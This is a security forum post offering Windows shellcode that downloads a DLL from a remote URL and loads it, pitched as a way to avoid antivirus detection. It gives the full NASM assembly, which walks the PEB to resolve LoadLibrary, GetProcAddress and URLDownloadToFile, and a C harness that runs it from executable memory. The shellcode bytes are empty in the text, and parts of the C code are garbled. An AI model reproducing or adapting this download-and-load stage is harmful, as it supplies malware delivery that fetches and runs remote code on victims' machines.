Jump to content
Sign in to follow this  

[RST] Shellcode - Download & Load (DLL)

Recommended Posts

The idea is simple: you can download an executable file but it can be easily detected. However, the DLLs are NOT detected (most of the time)! So it can be helpful to just download and load a library instead of downloading and executing something. The DLL can contain any code, C or something else, and it is very easy to do anything instead of writing some custom shellcode.


This shellcode should work on Windows XP, Vista, 7, 8. It is 90% based on RubberDuck's "Allwin URLDownloadToFile + WinExec + ExitProcess Shellcode" shellcode available here: http://www.exploit-db.com/exploits/24318/ so all credits go to RubberDuck (Binary Flow)

How it works:

- Find kernel32 address from PEB

- Find GetProcAddress function from kernel32

- Find LoadLibrary function using GetProcAddress

- LoadLibrary("urlmon.dll")

- Find URLDownloadToFile function from urlmon.dll

- URLDownloadToFile("https://rstforums.com/fisiere/dead.dll", "dead.dll")

- LoadLibrary("dead.dll")

- Loop

Shellcode and C program to test it (DETECTABLE):

Name: Download & Load (DLL) shellcode
Author: Nytro
Powered by: Romanian Security Team (https://rstforums.com/forum)
Based (90%) on RubberDuck's "Allwin URLDownloadToFile + WinExec + ExitProcess Shellcode"
shellcode available here: http://www.exploit-db.com/exploits/24318/
Tested on: Windows XP, Windows 7, Windows 8

The shellcode downloads and loads https://rstforums.com/fisiere/dead.dll.
The dead.dll library contains a simple MessageBox, but do not trust me, download it and check it yourself.

#include "stdafx.h"
#include <Windows.h>

int main()
// Our shellcode

unsigned char shellcode[] =

LPVOID lpAlloc = NULL;
void (*pfunc)();

// Allocate memory (rwx) for shellcode

lpAlloc = VirtualAlloc(0, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

if(lpAlloc == NULL)
printf("Memory isn't allocated!\n");
return 0;

// Copy

memcpy(lpAlloc, shellcode, lstrlenA((LPCSTR)shellcode) + 1);

pfunc = (void ())lpAlloc;

// Execute


return 0;

The shellcode assembly (NASM):

bits 32

; Find kernel32
; ----------------------------------------------------------

xor ecx,ecx ; ECX = 0
mov eax,[fs:ecx+0x30] ; EAX = PEB
mov eax,[eax+0xc] ; EAX = PEB->Ldr
mov esi,[eax+0x14] ; ESI = PEB->Ldr.InMemOrder
lodsd ; EAX = Second module
xchg eax,esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third (kernel32)
mov ebx,[eax+0x10] ; EBX = Base address
mov edx,[ebx+0x3c] ; EDX = DOS->e_lfanew
add edx,ebx ; EDX = PE Header
mov edx,[edx+0x78] ; EDX = Offset export table
add edx,ebx ; EDX = Export table
mov esi,[edx+0x20] ; ESI = Offset names table
add esi,ebx ; ESI = Names table
xor ecx,ecx ; EXC = 0

; Find GetProcAddress
; ----------------------------------------------------------

inc ecx ; Loop for each function
add eax,ebx ; Loop untill function name

cmp dword [eax],0x50746547 ; GetP
jnz 0x23
cmp dword [eax+0x4],0x41636f72 ; rocA
jnz 0x23
cmp dword [eax+0x8],0x65726464 ; ddre
jnz 0x23

mov esi,[edx+0x24] ; ESI = Offset ordinals
add esi,ebx ; ESI = Ordinals table
mov cx,[esi+ecx*2] ; CX = Number of function
dec ecx
mov esi,[edx+0x1c] ; ESI = Offset address table
add esi,ebx ; ESI = Address table

mov edx,[esi+ecx*4] ; EDX = Pointer(offset)
add edx,ebx ; EDX = GetProcAddress

; Find LoadLibrary
; ----------------------------------------------------------

xor ecx,ecx ; ECX = 0
push ecx
push dword 0x6c6c642e ; .dll
push dword 0x64616564 ; dead
push ebx ; Kernel32 base address
push edx ; GetProcAddress
push ecx ; 0
push dword 0x41797261 ; aryA
push dword 0x7262694c ; Libr
push dword 0x64616f4c ; Load
push esp ; "LoadLibrary"
push ebx ; Kernel32 base address
call edx ; GetProcAddress(LL)

; LoadLibrary("urlmon.dll");
; ----------------------------------------------------------

add esp,byte +0xc ; pop "LoadLibrary"
pop ecx ; ECX = 0
push eax ; EAX = LoadLibrary
mov [ebp-4], eax ; Backup EAX; Ugly
push ecx
mov cx,0x6c6c ; ll
push ecx
push dword 0x642e6e6f ; on.d
push dword 0x6d6c7275 ; urlm
push esp ; "urlmon.dll"
call eax ; LoadLibrary("urlmon.dll")

; Get URLDownloadToFile
; ----------------------------------------------------------

add esp,byte +0x10 ; Clean stack
mov edx,[esp+0x4] ; EDX = GetProcAddress
xor ecx,ecx ; ECX = 0
push ecx
mov cx,0x4165 ; eA
push ecx
xor ecx,ecx ; ECX = 0
push dword 0x6c69466f ; oFil
push dword 0x5464616f ; oadT
push dword 0x6c6e776f ; ownl
push dword 0x444c5255 ; URLD
push esp ; "URLDownloadToFileA"
push eax ; urlmon base address
call edx ; GetProc(URLDown)

; Call URLDownloadToFile
; ----------------------------------------------------------

xor ecx,ecx ; ECX = 0
lea edx,[esp+0x24] ; EDX = "dead.dll"
push ecx
push ecx
push edx ; "dead.dll"
jmp short 0xF2 ; Will see
push ecx ; 0
call eax ; Download

; Call LoadLibrary
; ----------------------------------------------------------

add esp, byte +0x1c ; Clean stack (URL...)

xor eax, eax ; NULL
push eax
push dword 0x6c6c642e ; .dll
push dword 0x64616564 ; dead
push esp

mov eax, [ebp-4] ; I know, this sucks
call eax ; LoadLibrary
jmp 0xEC ; Fuckin' loop

; Will put URL pointer on the stack as return address (call)

call dword 0xD3

url db "https://rstforums.com/fisiere/dead.dll", 0

Important Note!

It may not work on all Windows 7 & Windows 8 operating systems due to some stupidities related to the Internet Explorer settings! For example, on some Windows 8 versions the URLDownloadToFile didn't work until IE was the default browser. On some Windows 7 versions it didn't work until the IE settings were reset, but it worked even if IE was not the default browser. The problem is with URLDownloadToFile, not with the shellcode.

If you have any questions, you can ask me here.



Edited by Nytro

Share this post

Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this  

  • Create New...